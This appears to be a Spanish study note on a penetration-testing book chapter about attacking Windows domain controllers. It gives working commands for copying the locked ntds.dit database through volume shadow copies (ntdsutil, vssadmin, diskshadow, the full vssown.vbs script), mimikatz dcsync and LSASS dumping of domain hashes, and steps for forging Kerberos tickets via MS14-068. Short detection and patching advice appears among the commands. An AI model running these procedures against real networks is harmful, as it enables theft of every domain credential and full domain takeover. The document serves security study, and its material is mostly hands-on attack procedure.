contenido
- prefacio
- 1. Use el Servicio de instantáneas de volumen para extraer ntds.dit
- 2. Exporte el valor hash en ntds.dit
- 3. Use dcsync para obtener el valor hash del dominio
- 4. Otros métodos para obtener el valor hash del dominio
- Cinco, vulnerabilidad de escalada de privilegios de usuario de dominio de Kerberos
- Epílogo
prefacio
En este artículo, continúe leyendo y aprendiendo "Ataque y defensa de la seguridad de la intranet: Guía práctica de pruebas de penetración”. Este capítulo trata sobre la seguridad del controlador de dominio. Presenta el método de uso de los usuarios del dominio Kerberos para aumentar los privilegios y exportar el valor hash en ntds.dit. y ataque contra controladores de dominio Se hacen recomendaciones de seguridad efectivas
En el entorno de red real, el objetivo final de un atacante que se infiltra en la intranet es obtener la autoridad del controlador de dominio, controlando así todo el dominio.
1. Use el Servicio de instantáneas de volumen para extraer ntds.dit
En Active Directory, todos los datos se almacenan en el archivo ntds.dit
- ntds.dit es un archivo binario, almacenado en DC
C:\Windows\NTDS\ntds.dit
- Contiene toda la información en el dominio, puede exportar información de la computadora y otra información en el dominio analizando ntds.dit
- Al igual que los archivos SAM, están bloqueados por el sistema
ntds.dit se puede extraer con Volume Shadow Copy Service (VSS) , que es esencialmente una tecnología de instantáneas y se usa principalmente para copias de seguridad y recuperación (incluso si el archivo de destino está bloqueado)
1, ntdsutil.exe
Una herramienta de línea de comandos que proporciona un mecanismo de administración para AD, compatible con Windows Server 2003/2008/2012
//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit
2 vssadmin
Herramienta de administración de VSS proporcionada por Windows 7 y servidor 2008
//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\window\NTDS\ntds.dit c:\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet
3, vssown.vbs
Script desarrollado por Tim Tomes, similar a vssadmin
El guion es el siguiente
REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).
Set args = WScript.Arguments
if args.Count < 1 Then
wscript.Echo "Usage: cscript vssown.vbs [option]"
wscript.Echo
wscript.Echo " Options:"
wscript.Echo
wscript.Echo " /list - List current volume shadow copies."
wscript.Echo " /start - Start the shadow copy service."
wscript.Echo " /stop - Halt the shadow copy service."
wscript.Echo " /status - Show status of shadow copy service."
wscript.Echo " /mode - Display the shadow copy service start mode."
wscript.Echo " /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
wscript.Echo " /create [drive_letter] - Create a shadow copy."
wscript.Echo " /delete [id|*] - Delete a specified or all shadow copies."
wscript.Echo " /mount [path] [device_object] - Mount a shadow copy to the given path."
wscript.Echo " /execute [\path\to\file] - Launch executable from within an umounted shadow copy."
wscript.Echo " /store - Display storage statistics."
wscript.Echo " /size [bytes] - Set drive space reserved for shadow copies."
REM build_off
wscript.Echo " /build [filename] - Print pasteable script to stdout."REM no_build
REM build_on
wscript.Quit(0)
End If
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Select Case args.Item(0)
Case "/list"
Wscript.Echo "SHADOW COPIES"
Wscript.Echo "============="
Wscript.Echo
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
For Each objItem in colItems
Wscript.Echo "[*] ID: " & objItem.ID
Wscript.Echo "[*] Client accessible: " & objItem.ClientAccessible
Wscript.Echo "[*] Count: " & objItem.Count
Wscript.Echo "[*] Device object: " & objItem.DeviceObject
Wscript.Echo "[*] Differential: " & objItem.Differential
Wscript.Echo "[*] Exposed locally: " & objItem.ExposedLocally
Wscript.Echo "[*] Exposed name: " & objItem.ExposedName
Wscript.Echo "[*] Exposed remotely: " & objItem.ExposedRemotely
Wscript.Echo "[*] Hardware assisted: " & objItem.HardwareAssisted
Wscript.Echo "[*] Imported: " & objItem.Imported
Wscript.Echo "[*] No auto release: " & objItem.NoAutoRelease
Wscript.Echo "[*] Not surfaced: " & objItem.NotSurfaced
Wscript.Echo "[*] No writers: " & objItem.NoWriters
Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
Wscript.Echo "[*] Persistent: " & objItem.Persistent
Wscript.Echo "[*] Plex: " & objItem.Plex
Wscript.Echo "[*] Provider ID: " & objItem.ProviderID
Wscript.Echo "[*] Service machine: " & objItem.ServiceMachine
Wscript.Echo "[*] Set ID: " & objItem.SetID
Wscript.Echo "[*] State: " & objItem.State
Wscript.Echo "[*] Transportable: " & objItem.Transportable
Wscript.Echo "[*] Volume name: " & objItem.VolumeName
Wscript.Echo
Next
wscript.Quit(0)
Case "/start"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
objService.StartService()
Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
Next
wscript.Quit(0)
Case "/stop"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
objService.StopService()
Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
Next
wscript.Quit(0)
Case "/status"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
Wscript.Echo "[*] " & objService.State
Next
wscript.Quit(0)
Case "/mode"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
if args.Count < 2 Then
Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."
Else
mode = LCase(args.Item(1))
if mode = "manual" or mode = "automatic" or mode = "disabled" Then
errResult = objService.ChangeStartMode(mode)
Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
Else
Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
End If
END If
Next
wscript.Quit(errResult)
Case "/create"
VOLUME = args.Item(1) & ":\"
Const CONTEXT = "ClientAccessible"
Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
Wscript.Echo "[*] Attempting to create a shadow copy."
errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
wscript.Quit(errResult)
Case "/delete"
id = args.Item(1)
Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
For Each objItem in colItems
if objItem.ID = id Then
Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
errResult = objItem.Delete_
ElseIf id = "*" Then
Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
errResult = objItem.Delete_
End If
Next
wscript.Quit(errResult)
Case "/mount"
Set WshShell = WScript.CreateObject("WScript.Shell")
link = args.Item(1)
sc = args.Item(2) & "\"
cmd = "cmd /C mklink /D " & link & " " & sc
WshShell.Run cmd, 2, true
Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
wscript.Quit(0)
Case "/execute"
file = args.Item(1)
Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
Set objProcess = objWMIService.Get("Win32_Process")
For Each objItem in colItems
path = Replace(objItem.DeviceObject,"?",".") & file
intReturn = objProcess.Create(path)
if intReturn <> 0 Then
wscript.Echo "[*] Process could not be created from " & path & "."
wscript.Echo "[*] ReturnValue = " & intReturn
Else
wscript.Echo "[!] Process created from " & path & "."
wscript.Quit(0)
End If
Next
wscript.Quit(0)
Case "/store"
Wscript.Echo "SHADOW STORAGE"
Wscript.Echo "=============="
Wscript.Echo
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
For Each objItem in colItems
Wscript.Echo "[*] Allocated space: " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
Wscript.Echo "[*] Maximum size: " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
Wscript.Echo "[*] Used space: " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
Wscript.Echo
Next
wscript.Quit(0)
Case "/size"
storagesize = CDbl(args.Item(1))
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
For Each objItem in colItems
objItem.MaxSpace = storagesize
objItem.Put_
Next
Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
wscript.Quit(0)
REM build_off
Case "/build"
build = 1
Const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
if InStr(strNextLine,"REM build_off") = 3 Then
build = 0
End If
if strNextLine <> "" and build = 1 Then
strNextLine = Replace(strNextLine,"&","^&")
strNextLine = Replace(strNextLine,">","^>")
strNextLine = Replace(strNextLine,"<","^<")
wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
End If
if InStr(strNextLine,"REM build_on") = 3 Then
build = 1
End If
Loop
wscript.Quit(0)
REM build_on
End Select
4. IFM de ntdsutil
Al usar ntdsutil para crear un IFM, debe generar instantáneas, cargar, copiar ntds.dit y el archivo SAM de la computadora en la carpeta de destino, etc.
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
Luego copie ntds.dit a c:\test\Active Directory
Copie SYSTEM y SECURITY a c:\test\registry\
Hay un script Copy-VSS.ps1 en Nishang que implementa todo el proceso
5, sombra de disco
diskshadow.exe puede usar VSS y exportar ntds.dit
- Producido oficialmente por Microsoft, el código está firmado por Microsoft
- El servidor de Windows 2008, 2012, 2016 viene con el valor predeterminado
C:\Windows\system32
Debe operar en al exportar ntds.dit
Después de exportar ntds.dit, puede usar reg para volcar system.hive. Debido a que la clave de ntds.dit se almacena en system.hive, la información en ntds.dit no se puede ver sin la clave.
En la prueba de penetración, el archivo de texto que contiene los comandos a ejecutar debe escribirse primero en el sistema de destino remoto, y luego el archivo debe ejecutarse usando diskshadow.exe, que es más flexible. El texto es el siguiente:
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit
6. Prevención
Al monitorear el uso del servicio Volume Shadow Copy, las operaciones maliciosas realizadas por los atacantes en el sistema se pueden descubrir a tiempo:
- Supervisa el servicio Volume Shadow Copy y cualquier comportamiento sospechoso relacionado con el archivo de la base de datos de Active Directory (ntds.dit)
- Supervise las instancias sospechosas del ID de evento del sistema 7036 (una señal de que el servicio Volume Shadow Copy ha entrado en un estado de ejecución) y los eventos que crean el proceso vssvc.exe
- Monitorear eventos que crean diskshadow.exe y procesos secundarios relacionados
- Supervise los eventos de creación de instancias de diskshadow.exe en los dispositivos cliente (a menos que sea necesario para la empresa, diskshadowexe no debería aparecer en el sistema operativo Wmdows)
- Supervise los eventos emergentes de mapeo de unidades lógicas a través de registros
2. Exporte el valor hash en ntds.dit
Uso de varias herramientas:
- https://github.com/libyal/libesedb
- https://github.com/csababarta/ntdsxtract
- https://github.com/zcgonvh/NTDSDumpEx
3. Use dcsync para obtener el valor hash del dominio
mimikatz tiene una función dcsync que puede usar Volume Shadow Copy Service VSS para leer directamente ntds.dit y recuperar el valor hash del dominio, lo que requiere privilegios de administrador de dominio
//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject
Hay demasiados resultados de ejecución del comando mimikatz para que se muestren por completo. Puede ejecutar primero el comando de registro (se generará un archivo de texto en el directorio actual para registrar todos los resultados de ejecución de mimikatz)
4. Otros métodos para obtener el valor hash del dominio
1, Metasploit
use auxiliary/admin/amb/psexec_ntdsgrab
2. vshadow.exe y QuarkPwDump.exe
QuarkPwDump para leer de forma rápida, segura y completa todas las cuentas de dominio y hash de dominio
Dirección de descarga: https://github.com/quarkslab/quarkspwdump
Cinco, vulnerabilidad de escalada de privilegios de usuario de dominio de Kerberos
Vulnerabilidad de elevación de privilegios del usuario del dominio Kerberos (MS14-068, CVE-2014-6324, KB3011780)
- Windows 2012 R2 y versiones anteriores se ven afectados
- Si un atacante obtiene la autoridad de shell de cualquier computadora en el dominio y también conoce el nombre de usuario, el SID y la contraseña de cualquier usuario del dominio, puede obtener la autoridad de administrador del dominio y luego controlar el DC y finalmente obtener la autoridad del dominio.
El proceso general de inyección de boletos :
- Verifique la instalación del parche DC (systeminfo, WMIC qfe)
- Ver el SID del usuario (
whoami /user
) - Generar ticket de alto privilegio (ms14-068.exe)
- Ver permisos antes de la inyección (
dir \\\\DC\c$
) - borrar todos los boletos en la memoria (mimikatz,
kerberos::purge
) - inyectar un ticket de alto privilegio en la memoria (
kerberos::ptc
) - Verificar permisos
Algunas herramientas:
- PyKEK: https://github.com/mubix/pykek
- goldenPac.py en impacket
- ms14_068_kerberos_checksum en metasploit
Sugerencia de reparación:
- Activar actualización de Windows
- Parche Manual
- Controlar cuentas dentro del dominio
- Deshabilitar contraseñas débiles
- Cambie su contraseña regularmente y de manera oportuna
- Instale el software antivirus y actualice la base de datos de virus a tiempo
Epílogo
Principalmente en torno a la adquisición de ntds.dit